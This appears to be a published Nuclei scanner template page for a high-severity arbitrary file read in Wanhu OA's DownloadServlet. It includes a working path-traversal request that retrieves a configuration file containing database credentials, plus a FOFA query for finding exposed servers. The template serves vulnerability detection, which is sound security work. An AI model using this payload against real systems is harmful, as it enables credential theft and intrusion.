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Nuclei Templates

Wanhu OA DownloadServlet - Remote File Disclosure

ID: wanhuoa-downloadservlet-lfi

Severity: high

Author: wpsec

Tags: oa,wanhu,lfi

Description

Section titled “Description”

There is an arbitrary file reading vulnerability in the Wanhu OA DownloadServlet interface. An attacker can use the vulnerability to read sensitive files in the server and obtain sensitive information.

YAML Source

Section titled “YAML Source”
id: wanhuoa-downloadservlet-lfi


info:
  name: Wanhu OA DownloadServlet - Remote File Disclosure
  author: wpsec
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Wanhu OA DownloadServlet interface. An attacker can use the vulnerability to read sensitive files in the server and obtain sensitive information.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E4%B8%87%E6%88%B7OA/%E4%B8%87%E6%88%B7OA%20DownloadServlet%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: oa,wanhu,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2"


    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body,'ccerp.password')"
          - "contains(header,'application/x-msdownload')"
        condition: and
# digest: 490a00463044022023f900148f184a1841f80b416631f69daa7f48c95eb810ee86e8a2665b5970a802203f3e5c98f906d1711ef1b1c903c544b5d031cc7e45742790034c0cd4aca95e6e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wanhu/wanhuoa-downloadservlet-lfi.yaml"

View on Github